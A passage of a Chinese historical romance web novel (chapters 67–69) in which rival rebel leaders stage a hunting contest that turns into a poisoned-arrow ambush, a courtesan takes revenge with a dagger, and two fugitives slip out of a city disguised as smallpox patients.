“怎的去了这么久？”她蹙起了浅浅的蛾眉，问。 琥珀兴高采烈，将来去的话与她说了一遍，说到单铮横插一杠子，将罗大王叫走了。 折柳说要穿戴，实则琥珀去时什么样儿，来时还见什么样儿，那幽艳凝露的牡丹也随意扔在桌上。她长舒了一口气，不知想些什么入神，面上泛起些微笑来，见琥珀身侧眼巴巴望着，便抄起那枝牡丹，给她拿去玩儿。 琥珀拿了牡丹，喜爱极了，这里闻闻、那里嗅嗅，一会儿，又听娘子吩咐：“你先去用饭。用过了饭，也到校场去瞧一眼，看单将军他们在做什么。这回不急，你慢慢儿去。” 琥珀应了一声，带着花儿就去了，回头想起一事，道：“对了，白露娘子说，教您把那二十一贯还来。” “还？”折柳从鼻子里哼出一声冷气，“她欠我的何止二十一贯？纵是百倍、千倍也难偿我在她身上花的心血！想当年，她才七岁，她那老子娘不要她了，才将她卖来。若不是我，她如今哪有这般体面日子！我供她吃供她穿……” 折柳娘子是这样的，唠叨起往事来没个完。左右琥珀也听不懂，便在她眼皮子底下，堂而皇之地携花走了。 罗二郎好事没成，反教单铮拖住，后半日泡在校场，先是比试；比试过了又蹴鞠，蹴鞠完了还不让走，却又拉了几人上场，马上来了好几趟击毬；眼见着夕阳西坠，才放归他去。 平白累赘了半日，这会子报林江啸巡营归来；莫说折柳，连白露那院儿他也踏不进半分了，呕得他要命，越想今日校场里种种，就越发觉得单铮有意针对，心中便更恨了此人几分。 偏巧林江啸今日巡营，也不大畅快。 全因赵芳庭死皮赖脸地跟去，一路谄媚逢迎得过了，甚至与他挤眉弄眼，说那床帏里的浪。荡笑话，十分不合时宜。闹得全营的将士也跟着笑，平白折了他英雄的气度。 同去同归的还有新来的王渡。他冷眼观瞧，此人倒是个心思缜密之人，可以一用。 林江啸蕴了一肚子不上不下的憋闷，将心腹人都唤到眼前，说了一番今日巡营的情形。谈着谈着，便谈到单铮那伙人。 罗大王自然要告状的，有的没的全扯来说：“那单铮哪里把您放在眼里？您前脚走，他后脚在琐碎事上为难我，真小人心肠！那校场上，他落我的面子，岂不就是不给您好脸看？” 孔奚也道：“咱们与他们，必是要拼个鱼死网破的，如今形势愈见紧迫，需得想个法子，不落下风才好。” 林江啸点头。他早便有此意，从前碍着面子，勉强能忍一忍，如今他这头早计议定了回巴蜀之事，与单铮的矛盾，便愈发水落石出起来。 这头里几人沉吟思量，便到了王渡煽风点火的时候。 “前回咱们赢了官家一仗，那头便要消停些时日。咱们趁此也好闲暇放松一二。如今四月仲春，正是山间野趣之时，何不寻个由头，将那单铮钓出来……”他说到此处止住，只深深地现了一丝笑意。 那几人尽得其深意，罗大王恍然，跟道：“正是，擒贼先擒王，去了单铮，那起子人便没了主心骨，不足为惧！” “若是玩乐，定要前呼后拥数人同行，行事总不方便。”孔奚却道。 王渡趁机再进言：“何不借单独比试的名头？我闻啸龙将军箭术高绝，不如约他进山射猎，决个上下高低，如何？” 几人望向林江啸，指望他拿定主意。 林江啸素负血勇之名，好的就是逞凶斗狠；如今自觉斗志不曾消减，闻言正合心意，便一口应下，“好，就与他比试射猎！我与单铮只单人独骑，各自不带从人，谁猎获多，谁便压过一筹！” 罗大王因又补充了一则：“兄长可将筹码再做大些，便以此决胜负，定个义军共主！” 林江啸眸中一震，血上心头，想那单铮虽擅马上刀枪，箭术上却终究比自己差了一截。如此比试，那共主岂不是自己囊中之物？ 他越发想得心头意动，连此前那点不畅快，也烟消云散了。 如此计议定下，几人各自回去，一夜无话。 转过天来，便由林江啸出面，邀约单铮射猎，言明以此决出共主，不伤自家弟兄的体面。 单铮自认心思坦荡，没什么不可对人之处，一口应承下；他身后小将们却炸开了锅，纷纷责难那林江啸不义气，以己之长，对人之短。 单铮却摆手，压下众人不满，道：“射猎不单凭箭术，也凭苍天指引。我二人之间终有一决，以比试定输赢，总比见血光好，任谁胜谁负，都不伤和气。” 一干人仍是不服，晓得单铮说一不二的直脾气，只得都向赵芳庭，望他左右头领的心意。 赵芳庭却一反常态，老神再在端坐下首，竟点头赞同：“单哥哥向来得上苍福泽，想来这一回，即便是老天爷，也会帮着咱们的。” 众人哗然。 再不服，事定了便不得悔改。射猎定在三日后，当下附近山岭里围出一片来，告诸附近乡民，不得擅自入山，并先偿付了猎户樵子等人三日损失。双方各自预备下弓马箭矢，不在话下。 私下里的准备，也不应不少。 林江啸这头，王渡趁空请了罗二郎来，却摆上了个小小的瓷瓶儿，予他观瞧，“我知啸龙将军有射日之能，只是凡事有个万一，恕我小人之心，绝不想见将军功亏一篑，因此寻来些东西，届时涂在箭簇上，助将军一臂之力。哪怕日后事发，只推于我一身便可，与将军毫无干系。” 他说罢，将廊下一条活蹦乱跳的长犬牵进来，将瓶中粉末倒在地上一点。那犬儿闻了闻，又舔了一口，不多时，竟哀呼抽搐，暴毙于地。 罗二郎大惊，目中隐隐露出一丝喜色来，执手与他道：“你能为我弟兄牺牲至此，实教我动容！日后大业既成，你必有座上一席！” 王渡诚挚一笑，将那许多掏心掏肺的话拿出来讲了，两下里更加兄友弟恭，亲热极了。 至于这歹毒的箭矢制成后，奉送给林江啸，他用来射鹿射虎还是射别的，那就另说了。这不关他的事，王渡想。 自然，他们幻想事成之后的“大业”，也不关他的事。 他是商人，商人以利为重，林江啸就是一笔赔本的买卖。那么他另投明主，顺天应人，便再寻常不过了。 花开两朵，各表一枝。 太湖水急滩险，纷流扰动；江宁秦淮河畔，气象升平。 青牛巷里血案，已过去将近一月。原本严查的风声，也逐渐松懈下来。张捕的榜文仍日夜贴着，只是过往行人谁也不稀奇，来来去去，浑忘了那惊心动魄的五条人命，依旧只为自家一口米粮奔波。 赵员外客店里，也安分得紧。 宗契的伤已好得差不多。他人年轻，又气血精壮，那点皮肉伤 损全不算什么，歇了十来日，松散得浑身不自在，便手痒想要在院子里活泛活泛筋骨。 应怜哪里肯依他，严令禁止那镔铁棍摸上手，除非得了大夫金口谕令，否则见一次絮叨一次。 宗契闲得脚趾头都发酸，浑身懒怠不得劲儿。应怜却十分耐得住性子，近日寻了个新技艺：跟着秾李学口技。 两个女娘无事便在客店后宅院里，碰头一处，一个真敢教、一个真敢学。 只是口技这项，若非几十年的苦练，便要有点子天赋在身。譬如秾李，张口能摹男女老幼各个不同音色，又能仿那画眉、百灵歌喉清婉，猫儿狗儿更不在话下，惊得应怜张口结舌。 秾李教她：“你将嗓儿往下压，觉有一物沉在喉底了，再开口，声气便粗。你试试？” 应怜照她所学，摸着喉嗓，开口：“这样？” 秾李笑着摇头。 气沉丹田，肚腹里发声：“这样？” 秾李才说不是，应怜憋得脸红了，“我、我先如个厕。” …… 半晌两人再学，应怜总不得要领。秾李宽慰她，“这都是旁门左道，学不会就学不会，又没人逼着你学。有这功夫，不如做一做喜欢的事……眼见着端午近了，不如给宗契师父绣个辟邪的香囊？” 应怜愣愣的，有些结巴，“绣、绣那个做什么？” 秾李没说话，瞧着她笑。 “……你笑什么？你别笑。”应怜脸红了。 秾李性情温柔，连说话也像春水一样，安安静静执了她的手，轻松的语气里有一二分真，“我羡慕你呢……不用学那些个东西，自有人喜欢。” 应怜听不明白，只当她促狭。秾李也不多言，歇了一晌道：“我明日便回太湖了。” “这么急？”应怜一惊。 她点头，“上午折柳姐姐有信至，虽然那头有赵芳庭照应，我总不放心。” 有些话说出来显小人心思，但秾李不得不多个心眼。赵芳庭虽有诺在先，但他的“照应”里，折柳永远是排在弟兄们之后的。弟兄们若吃不上饭，折柳更加只有被饿死的份。 应怜这些日与她再相得不过，愈发恋恋不舍，“过些时日，我们也去太湖，到时我再跟你学口技。” 秾李笑得明艳了些，忍不住摸了摸她脑袋，“傻子，你无需学那个，又用不着哄人欢心。” 好一晌，应怜终于回过味来，瞬间脸面红了个透，尴尬张口闭口，说不出话来。 两人起身相别，一带院墙外分手。恰此时宗契从那头遥遥而来，应和鲜明的春光，一身是从前不常穿的浅灰直裰，减了几分厚重，刚朴里透出些素雅来，再是避世出尘不过。 秾李回头，应怜已被对面勾去心神，笑着朝那处招手，欢欣得很。 她抿嘴一笑，微微倾身，凑上她耳边，很贴心补了一句：“我倒可以教你些别的，管教他出家人也把持不住，日夜离不了你。嗯？” “嗯”字余韵未半，却已见她瞪大了眼，脸复通红，跺脚落荒而逃。 秾李功成身退，最后望了一眼她向宗契逃去的方向，施施然回转离去。 第68章 第68章斫去桂婆娑，人道是，清…… 四月十八，太湖。 后日便是射猎比试，因单铮向来使惯了自家一杆精铁枪，弓箭并不常用，临到用时，偏是找不见素日里用的一枚玉韘。 恰此时，赵芳庭登门来访，见他内外室一通胡找，乱七八糟的光景，进门来便不由笑道：“哥哥找什么？怎么不用从人？” “你还不知我？一向不惯人侍奉的。”单铮一股脑将零七碎八的小件儿拂回箱匣里，迎他来道，“十八，你来得正好，陪我外头走一趟，再买一枚玉韘。” 赵芳庭晓得他有话要说，要避人耳目，欣然同去。 这一趟依旧不带人手，两人并行走在义兴县巷口路边，没了外人眼目，说话也更自在了些。 赵芳庭道：“这些时日，我与那头走得近些，冷落了自家兄弟，哥哥莫怪。” “你瞎客气什么？我寻你来又不是为了说这个。”与赵芳庭瘦削的身量一比，单铮几乎算人高马大，带着北地边关汉子特有的粗悍，单刀直入，口气却很冷静，“你们尊奉我为首领，有些话，我若说来，没得让众兄弟拘束；你来替我说一说，是再合适不过。比试有输有赢，此是天定。我若赢了还好，若是输了，便要愿赌服输，从此听啸龙将军号令。但你们是我兄弟，不是臣属，自可凭心意去留，我绝不阻拦。” “哥哥就为说这个？”赵芳庭“嗐”了一声，很不挂在心上，笑道，“未雨绸缪是好事，哥哥的心意我与兄弟们心领了。” 也不知他是真心领或清风过耳，一会儿，又把话题岔到近日军中事务上去了。 两人过了两条街巷，来到几间一连的铺子跟前，左门脸儿是铁匠铺，打得一应刀枪钩环；右门脸儿挂着皮锁甲的武服，正有店家抱拳拱手，请入里头。 单铮便进屋，向着那一排柜上铺开的骨韘玉韘一番相看，也不要那等多精贵华美的，合手就行，便捡了一支与从前差不多的云纹白玉韘，价七贯。 他把来一锭五两的银子，便该剪还七八钱银。掌柜的见了，忙道：“不巧，我才将那银铰子借了人，一时剪不开这银子。客人不若再挑件小的带上，多余的零头我饶您可好？” 赵芳庭想说“你去讨铰刀，咱们等一等便是”，转头却见单铮眼扫向了架上一排瓶瓶罐罐，目光略一逗留，便教店家眼尖给瞧着了。 “这些是店里上好的膏药，治伤的、治疤的……这一瓶治疤，拿最膘肥的獭子油制的，再是好用不过。”店家当即摘来一瓶与他，“原本足价一两，客人若要，拿去便是。” 那是个巴掌大的精细青瓷瓶儿，碧翠不让玉色，打眼一瞧便已玲珑精美，上头又浅浅勾勒几笔缠枝，便透出两三分秀致来。 原是拿刀弄枪，易伤着皮肉，搭着膏药卖，很是不错的。只是他营中不缺金疮药，且都是一群糙汉子，治哪门子的疤口？ 单铮才欲将东西还回，不知又想到了什么，鬼使神差，却道了一个“好”字。 那一声好将赵芳庭的眼光也勾了过来，瞧瞧青瓷瓶儿，又瞧瞧他，起先不解，末了恍然大悟。 待出了人家店，他便挤眉弄眼地凑过来，问：“哥哥这药，想是为了送人？也是，据说她脸上那伤，是因着你而起，尽为你说好话，才惹恼了林江啸呢。” 单铮就见不得他这爱往腥里钻的脾性，板着脸斥了一句：“你胡吣什么？我拿来自己用，不成么？” 赵芳庭浑没顾忌，拖长了音调，答应一声，脸上就差写上“鬼都不信”四个字了。 单铮确也没别的心思，见那治疤的膏药，先想到的便是折柳。 她受一顿鞭子的辱，全是因他；妇人家最要的是一张脸，谁也不想留个疤痕。 只是当真买来在手了，忽又觉得自己冲动，难道还能巴巴地送瓶膏药过去？不说她自有用不完的治疤药，即便没有，以他二人不冷不热的关系，送这东西，徒惹人嫌疑。 他便没再想，把膏药瓶儿揣进了袖子，果真是留待自己用了。 转过两天，到了射猎这日。 不论双方各自作何准备，赵芳庭是已然预备妥当。他 穿了一件靛青束袖的衣袍，里头罩的却是一件铜金锁子连环甲，又带了上好的金疮药、一卷洁净整齐的新布，以保自个儿万无一失。 两方人马各自行至围山脚下，林江啸与单铮二人骑马佩弓，箭服搭在背后，远望去真如两截威严宝塔，迎着才出的朝曦，脱开跟随的人众，并行入围丛之中，没入山林。 赵芳庭不与那里头焦灼等候的众人为伍，自寻到一隐蔽处，隔着守兵几十步，挑开一处障碍的杈子，撅着钻进了林丛。 沿着早已算计好的路线，他一路从荆棘老藤里钻穿。这样起起伏伏的地势，饶是山路也难行，更别提脚下无路，硬生生踩出一条林叶间的道儿来。 苦是苦了点。 不知行了多久，他擦擦脸额与手背被荆丛挂出的血口子，来至一处略微凸出之地，向下望去，目光踅摸了半晌，隐隐见一处鸟迹骤然纷纷，似有动静，猜测他准头不错，再向前不久，便能寻得单铮。 有了前些日的怂恿，今日那林江啸心思不纯，必潜伏在单铮左右，以待时机。 日头已上了山岗，林间逐渐明亮起来。赵芳庭徒步向那处悄然而去。 单铮不知今日的圈套，只凭着心意，由密林逐渐驱马向了有水源的开阔山腹一带，想着去那碰碰运气。他与林江啸二人谁也不是猎户，追猎的本事想来半斤八两。 密林渐稀，草迹簇集了起来，他转过一片裸。露的山石，果遥遥见了东南行的一条清溪，此处一带地势开阔，方便弓矢射猎。他放轻了步子，寻见溪边一只不大的黄鹿，正俯身饮水。 单铮心喜，无声搭箭弯弓，瞄准向黄鹿。 螳螂捕蝉，黄雀在后。 ——在瞧见丛林掩映之后，一点冷白银亮的光簇聚集时，赵芳庭便如此想。 那是林江啸箭矢的一点光迹。他竟如此心急，一物不猎，开场便要置单铮于死地。 单铮箭已在弦上，全副心神也都在那只黄鹿上，全然没料到，身后杀机将至。 赵芳庭眼也不错地如黄雀一般盯着，心中却偏偏不合时宜地跳出个荒谬的念头来：他这一伙人，向来敬仰单铮，只因他万事当头，义字为先，有过人的勇猛，果干无畏，坦荡立于世间。 这样的人，合该做个英雄、做个将军，但……该为王么？ 这样一念，不过一闪而过。他并无暇细思，只因见了那点光簇骤然摇动，正是不得不发之际！ 赵芳庭心念电转，瞅准了单铮，也不管他有无被惊动，一身轻功，却比箭更快，密丛之中陡射而出，张臂扑在单铮身上。 与此同时，一支暗箭嗖然破空，啸射而来！ 噗嗤一声，箭没入皮肉，黄鹿哀鸣倒地。 赵芳庭肩头只觉重重一击，力大势沉，一把将他击倒，眼见着单铮猛然不可置信的目光，他心中松了一口气，说出早已备好的话： “箭上有毒……快、快跑！” 从北地杀官起家，至今一十四年，他追随心中这一明主，辗转南北，多少次水里来火里去，彼此托付性命，单铮的喜怒心思，他再清楚不过。 人人皆有逆鳞，单铮也不例外。他的逆鳞，便是自家人。 妻子、手足，皆是他羽翼之下，他将尽其所能，护他们周全。 十四年前，他才年少，新妇遭匈奴所杀，他便杀匈奴、杀赃官，落草为寇，立誓改天换地； 十四年后，有林江啸心怀不轨，暗箭杀伤他手足弟兄，他绝不可能再谦让容忍。 赵芳庭肩后血涌，人却逐渐感到麻木，心想那锁子甲当真管用，箭头估摸着只没了一寸不到。只是他这一觉睡，也不知要错过多少精彩，有些不甘心。 也不知单哥哥会不会怒发冲冠，手刃了林江啸。 也无妨，他便不杀，还有后头弟兄呢，林江啸活不过今日的。 他在单铮暴怒的狂喝中，放心地闭上了眼。 自江宁至义兴县，快马不过两个日夜。 秾李盘算着日期，紧赶慢赶，于四月二十日晌午来到城中，知今日是射猎比试，料想众人皆出城观望，府署里当空置，不料一路入城，却见家家关门闭户，坊市冷清，唯时时一队义军匆匆行过，很是森冷的气象。 她不知如何，只心头涌起不安，仗着自己有折柳给的腰牌，拦下一小支行经的义军，问那为首的百夫长：“发生了何事？” “啸龙将军身亡！”百夫长道，“我等奉单将军之命，速向城中保境安民！” 秾李心中惊震，撇了义军，拨马疾奔向府署，行至半途，却微顿了顿，心念陡转，瞧严整屋舍、森严坊巷，竟微微笑了起来。 她打开挂在马上的一个小布囊，从里头掏出一支黑沉的匕首来，连鞘塞入了袖中，再一打马，催着跑开，径向府署而去。 第69章 第69章情在无晴处 府署里各处派兵压着，大乱子没有，小乱子处处骚动。秾李执着腰牌，如入无人之境，径向女眷后宅而去，到游廊东西分手处，却没向折柳住的东院去，转去了西头。 西面清幽小院里，住的是白露。 白露的院子勉强像样些，从人依旧走动，只是见了她，纷纷投来惊惧求救的目光。秾李晓得他们没了林江啸这一主心骨，早已无心侍奉，挥手令人都退下，“你们各自回家，走避一时，待此地安定了，再回来吧。” 如今是个虫豸都能发号施令。秾李的话，他们竟也奉为圭臬，如得大赦一般，问也不问，丢下手中活计便乱糟糟跑了。 秾李整了整衣冠，依旧郎朗楚楚的一少年，从容步入主屋。 进屋便听里间一把娇柔的嗓子，急急匆匆传出话来：“那单将军也不知喜爱什么颜色？这件胭脂的好不好……不行，我瞧他为人端稳，想必爱素净一点的……我那件葱绿的抹胸呢？快拿来我换上！” 许是外头迟迟不见动静，她窝着一心口火气出来，珠帘拨得乱响，于身后颤曳，“你们都死了……秾李？” 秾李微微一笑，镇静得有些冷淡，“是我。” 白露那张向来娇美的脸面上露出了一丝不知是什么的表情，尴尬，或是紧张，甚或有几分讨好。 她新近得势时，仗着林江啸的宠爱，自认压过折柳一头，连她也不放在眼里，便更别提秾李；只有在将她荐给什么人时，才往往口中有一两句美言。 秾李便在她手底下，过着今日与这人、明日与那人的日子，像个物件，被摆来摆去。 如今这物件自上了她家门，白露紧张了一时，一会儿也就放松了，惯来翻到天上的一双眼，竟也正色看起了她，又露了一抹笑，亲热地来挽她手臂，腰肢款款，是在青玉阁时学成的作态，“你来得正好，如今紧要关头，新人得势，咱们姐妹务要齐心，侍奉好新大王，免得他让下面那起子狐媚笼络去了！” “新大王是谁？”秾李与她携手入内室，才平静下来的珠帘又被摇颤得一霎脆响，“单将军？” 白露大惊小怪：“你竟不晓得？这几日我没见你，你去哪儿了？才一个时辰前，单将军因比试一事，于议事堂里怒杀了林江啸！这会子正乱着呢……” 珠帘颤后，复又沉寂。 她不可置信地望着秾李，对方仍是一副微笑的表情，玉貌清隽的小郎君一般。 秾李的性情温柔胜水，这是整个青玉阁上上下下都知道的事。她从前在背后也没少嘲笑：水样的性子。 只是她从不知道，水，有时候也是能夺命的。 就像此时的秾李，眼角眉梢连动未动分毫，不过后退了半步，免得她胸口的血溅在她身上。 白露痛苦地佝偻下身子，手捂在胸口匕首处，感受汩汩向外涌出的鲜血，一瞬时血腥满室，浓郁引人作呕。她张嘴“嗬嗬”想要说出话来，似乎是“为何”二字。 秾李毫不犹豫将捅入的匕首在她胸口绞了绞，抽出。 血猝不及防飙溅而出，到底她第一次杀人，没经验，被喷了一身。 那血似乎也是臭的，流着充满算计和腐烂的气味。 “因为你该死。”她皱眉拿绢帕擦拭头脸上的血，点点血迹将帕子染得通红，居高临下，望着软到在地的白露，“娘养咱们长大，给咱们吃穿、教咱们本事，你便不谢她，也不该糟践她。忘恩负德之人，都该死。” 白露在她脚下痛苦地抽搐，浑没了往日傲慢光景，破口处冷风贯入心肺，连句整话也再说不出。 秾李擦了头脸，又拭净匕首的血，还入鞘中，撇了白露，依旧而出，门口略略立住，听外头似有刀戈之声，院儿里四下却阒寂。从人已被自己遣走，外头兵丁一时又不会进来，一方困囿的天地里便暂且容下了她这满手鲜血之人。 她并不忌讳这一身的血，便这样，一步一步去了东院，寻她姐姐折柳。 天清气明，改换天地后，自又是一番新气象，她不必害怕。 江宁这处，终又收到了太湖来信。 此前扬州城的消息没个准信儿，是应怜一块放不下的心病，这一回听闻了新有信使来至，慌得匆忙披了件轻罗半袖，便急急地下楼来至前院，想见是否有定娘的消息。 才至门口，便见映着天光，一干人站站坐坐围在一桌前，听人读信。那低低的读信声如击泉沉雷，熟悉得紧，正是宗契。 众人皆在，见了她，自然而然分出一缺口，教她坐了下来。 宗契正读到“李宅为罗大王劫掠，人财两空，唯子女活命，为铁面将军所救”，略顿了顿，抬头望向应怜。 应怜已然呆了，半晌拉着人问：“哪个李氏？李姓之人千万，想是弄错了？” 人多眼杂，宗契一时不知如何宽慰，默默将信递了过去。 应怜看了两三行，再做不得假，怔愣当场，后头写的什么，全看不下去，胸口彷如被一锤砸中了一般，闷得头脑也发黑起来。 “如今林江啸死了，那罗大王必也没好下场，娘子家人的仇，算是报了。”杨兴见她黯然，便劝道，“铁面将军是咱们的人，那李娘子在他处，想是稳妥，娘子放心便是。” 她勉强点头，心中算了算，这信是四月十八写就，如今四月二十，一切尘埃落定，也不知那铁面将军是何人，这会到了太湖没有。 “……我想去太湖。”她想到李定娘，想起年前与她不欢而散的最后一面，如今前缘种种，俱抵不过对她的哀恸，望向几人，问，“此时可还有法子出城？” 旁人接了信去看。杨兴思量一会，点点头，又拉着宗契道：“若是前些时日，风声太紧，出城是难；如今守军早已松懈，若想出城，倒也不是不行。” “那咱们便去太湖。”宗契道。 后头一看信的人此时指着某处叫起来：“我就说宗契师父与柳娘子清清白白！你瞧，十八信上写得分明，他二人已是结义的兄妹，那柳娘子自有未婚夫婿的！” 几人忙来观瞧，一晌又望向宗契与应怜，有人便嘿嘿地笑。宗契夺过信来，扫了几眼，目光在那“元羲”二字上滞了滞。 “从此咱们可不要误会了他们，”有人道，“否则害自家兄弟清誉，又妨碍人小娘子的名声。” 众人纷纷称是。 从前他二人的关系，这误会是有嘴说不清；如今澄清了，宗契该觉得痛快，却又无端痛快不起来。 他竟从未听她提过元羲此人。 但从前不识得，今后也就知道了。无论怎样，这似乎不是他该过问的一些事。 他便搁下琐事不提，先问回太湖的事。几人商议了一阵，七嘴八舌，最后决定：两人带一辆马车，先驶出城去；余人城中留守，静观其变。 出城不难，却也要费一番心思。好在秾李走前留下了一盒面脂，兑入了榉树皮的细粉，又微有雌黄细末，抹在脸上，脸便微黄浮肿起来。应怜把露在外的脸与手抹了个遍，又按杨兴的嘱咐，点了些密密的红点，假作痘疮急症，就此入了马车中。 赶车的仍是宗契，只是拿布巾蒙了嘴脸，由杨兴带着，当日上午便出到城门口，先向守城门的头领塞了好处，又哭丧着脸道：“好好儿地在我客店里住着，却出了痘疮，如今人半死不活的，只一个外来的和尚肯将她拉了出城，我这客店从此还不知要怎么冷清呢！” 杨兴同样布巾蒙嘴，却掀了车帘教守兵看裹在破麻被里的应怜。 守兵捂着口鼻，只瞧了一眼那枯黄脸容上密密麻麻的红疹，皱着眉避瘟似的躲在了一边；头领嫌弃地赶他们走，声音嗡嗡的，想是屏了息：“快走、快走！” 便这么轻易地出了城。 杨兴将人送至四五里地外，不再向前，瞧着四下无人了，抱拳与宗契分别：“你们先去，我后头几日便赶来，到了太湖，问我单哥哥的好！” 天色阴云蒙蒙，不知是否要落雨，宗契谢过，两下里匆匆相别，驾了马，驶向前去。 应怜早从麻被里钻了出来，靠在一边想那封信，想自己的心事。 信上说得简单，也不提定娘究竟如何了，受伤有无。她便越想越心慌，从前对她暗害人命的怨怼，却悄悄儿昧下了，想到日后再见，也不知如何相对。 恐怕人都是偏私的，纵然心知肚明，她做下不好的事；但如今知她遭了大难，再多怨恨也都悄然泯灭了。 他们后头又说了什么？ ……未婚夫婿？ 车马不敢走牙道，便在碎石蔓草的小道上起伏颠簸。应怜心中一惊，忽睁眼叫出声：“宗契！” 外头答音：“嗯？” 她心中也不知怎么就这么慌，话至嘴边，乱乱地又压下，不知该怎样问。 问什么？问元羲？ 不知为何，当着宗契，她只是问不出口，又觉着自己仿佛没记真切，他们或说了些别的，而她听错了。 他们怎可能见着元羲呢？那样一人，想也该在洛京，读他的诗书、会他的宾朋，同一样的高门子弟游春踏青。甚或家人觉得对他不住，又为择一门好亲，只等着再结良缘便是。 她坐在摇摇晃晃的马车里，摸着自己心口，暗中思量：从前想到他时，她多少是会难过的；如今怎么却仿佛伤口变钝了，或是隔了一层，有些闷闷的，却只是遗憾。 这一年多来，变故太多，于她都是翻天覆地，乃至与他的情意，早已被这些事压得微不足道。若不是今日提起，她已许久不曾想到元羲了。 外头宗契等了良久，不见她再开口，追问道：“怎么了？” 应怜便突然中止了那些虚无缥缈的旧忆，重见到眼前苍青的车壁、老木的横座，甚至脚边团乱的麻被，心中盘桓着宗契端稳朗然的眉眼，明知他只一帘之隔，忽却很想见到他的脸。 她便一挑帘子，扶着车壁，探出头来；恰逢他偏头，二人目光对在一处。 宗契愣了愣，以为她哪里不舒服，便道：“且忍耐一时，牙道上官府耳目多，不安稳，咱们小路恐要颠簸一两日。” 阴云在他头顶上空翻滚，他身形阔大，却为她遮挡住浓云，似乎再有多少袭来的风雨，他都能为他一身遮蔽了，不教她浇在头上半点。 应怜从未有如此刻，心头涨得极满，只瞧见他脸容眼眸，便有种鼻尖发酸的感觉，什么东西呼之欲出，盘旋在心里，流露在殷殷的眸光里，怔怔地盯着他，却什么也说不出来。 她该说些什么的，否则她目光移不开，凝视越来越浓郁，有些连她自己也不敢正视的情绪，正危险地想要挣脱牢笼。 “我……”她终于开口，想同他谈谈元羲。 却不知从哪里谈起，仿佛这两个字无比地烫嘴，没由来又凝滞了一刹。 就这么迟疑的一瞬间，忽身子一僵。 宗契握紧了缰绳，任马车颠簸得心跳也快了些，只是见着她一脸痘疮蜡黄的脸，没由来透着些可怜巴巴，忍不住笑了一声。 应怜脸红了，缩头向车里，窸窸窣窣似翻找，挫败似的说出话 来：“我、我要如厕。” 行路途中，这也是免不了的事。宗契便找了个偏僻地儿，将马车停下，眼见着她闷头钻出马车，一头扎进了半人多高的蓬草丛里。 周围是一带山色，他们行在起伏的山丘边缘，泛黑的云头压上如涛的山间松林，带着湿意与沉滞的气息。才是中午，离了江宁府城，前头望不见去处，两边不靠的地界，他有些放心不下，怕她走太远，哪怕遇着虫蛇，到底不安全。 思量再三，便向那头走去了几步，道了句：“我候在此处。” 蓬草深深，埋没得见不着人影，只从里头闷闷传来答应一声，她似乎又嘀咕了一句“这么早”，便听不真切了。 空气里沉湿之气愈浓，想是要落雨。他左右等候，觉着应怜久了些，便又问：“你可还好？” 她支支吾吾的声音回答：“还、还行……” 恰此时，另一侧无端传来些袭扰感，仿佛周身毛发为一股无形气流扰动，森森然竖立起来。宗契瞬间警觉，向周围望去，先确保应怜那处无事。 正偏头的一刹，忽的咔嚓一声，似是什么东西被斩断；又听一声马匹咴咴，猛地震地颤动，却是那马一撒蹄，喷着响鼻撒腿向前跑了开。 宗契一惊，几乎与此同时，却见套车的那马不知何时竟齐齐断了车辕绳索，上头伏着一人，抱着马脖子，瞬间便窜出去几丈远！ “有贼！”他断然追去，只才追到一半，便顿住脚步，因怕是什么贼匪调虎离山，折返回去唤道：“惜奴！你还好么？” 蓬草两边一分，里头惶惶然走出来应怜，匆忙被惊动的模样，捂着肚腹，微微蹙眉，显然不知发生了何事。 那马好似发了狂性，教那偷马的小贼催着，这一会子，便跑得只剩了个影儿，唯远远望见身形，不大魁梧，似是少年的身段。 应怜才系好了月事带，走得急了，肚里开始隐隐地闹起疼来，如今见孤零零一架没了马的马车，又望望远去一人一马，目瞪口呆：“这……” “是偷马贼。”宗契却松了口气，上下打量她几眼，“身手如此轻敏，没套鞍辔竟也跑得那样快……你怎么了？” 她捂着肚子，抹了把脸，那“痘疮”便蹭掉了几点颜色，颇有些尴尬，“无事，咱们……” 想说“走吧”，却卡壳闭嘴，干瞪着那一车大小行囊，踟蹰了半晌。 这一发惊变，应怜又将什么元羲也抛在了脑后。末了只得捡了些要紧的物件，余下累赘一应撇下了，再带不走。 这倒好，却仿佛又回到了年前，两人身无长物，靠着两只脚一步一行的时候。 宗契叹了声：“到前后有人家的地儿，再寻只脚力吧。” 两人正准备离开，却又见遥遥的府城那头再来了一队人马，各个身披坚甲、手指刀枪，却是官府出来的兵士，似乎眼尖瞧见了这头马车，顿下步子，竟朝这头催马而来。 这样子，跑是跑不脱了。 宗契不动声色，将应怜挡在身后，眼见着人马而至，十来个甲士里分出一个为首的，颇是凶神恶煞的模样，粗声问：“你们有无见过一个匈奴少年？” 应怜本极为紧张，以为这一拨人来者不善，却不想得了这一问，瞬间明白过来，他们是追着那偷马的小贼而来。 宗契皱眉，指着那贼离去的方向：“他偷了我的马跑了。” 那些人骂了几句，又往他二人身上扫量了几眼，查过马车里外俱无人藏身，头领一招手，一行再度催马前进，向着他所指的方向，急追而去。 前后不过一刻。 直待人走得没影儿了，应怜长松一口气，只觉背上生出了冷汗，抓着宗契衣袖，紧张地道：“他们不是来追咱们的，咱们快走吧！” 他二人如今有官司在身，谁知那些官府的兵是否认出他们，又折身回来，抓个现行。 眼见着山雨欲来，又不是安生的地儿，两人不敢久留，急急离去，却不敢走马迹处，牙道更难保证；放眼望去，却有一条山路，隐隐没入松林之中。此山不高，山路便不难行。二人合计，索性沿山路而去，避过一行兵士。 宗契步子快，前头走着，任山风猎猎吹动衣襟，略一停下，回头等着应怜。这一条松林间的路，本不崎岖，她却越走越慢，虽身上只背了个小包袱，倒似重逾千金。 “你且再支撑一段，待转过一段山路，咱们便走回平道儿了。”他见她迈不开步子，又蹙眉不语，便道。 应怜肚里愈发翻江倒海似的难受，咬着唇点头，闷头向前走。 只是仍走不快，偏又逢老天爷来为难，那雨早不落晚不落，这会子噼里啪啦漏口子似的打下来。 一晌林间愈暗，狂风急雨催打枝叶，将人浇了个精透。应怜浑身一哆嗦，早已得着宗契一把宽大雨伞遮了身，伞下温厚地哄她向前：“再走一走，否则大雨时候长了，山路泥泞，便难行了。” 他越是耐心，应怜便越觉着自己是个拖累，因又想到自个儿由着性子要出城，他便跟着出城；如今车马也没了，又在山林里逢着大雨，这一趟磨难，他本不必受，全是为着她，硬生生受了。 她心中愧疚，只是身上不巧，实在难受，只得缩在伞下，可怜巴巴地道：“我肚子疼……” 宗契自撑着一把伞，惊讶望来，瞧那神色便知，他压根没明白，许是以为她吃坏了肚子。四月春雨噼噼啪啪打在两把伞面，边缘垂下密密的雨帘，阴沉之中他的眉眼有些瞧不真切。 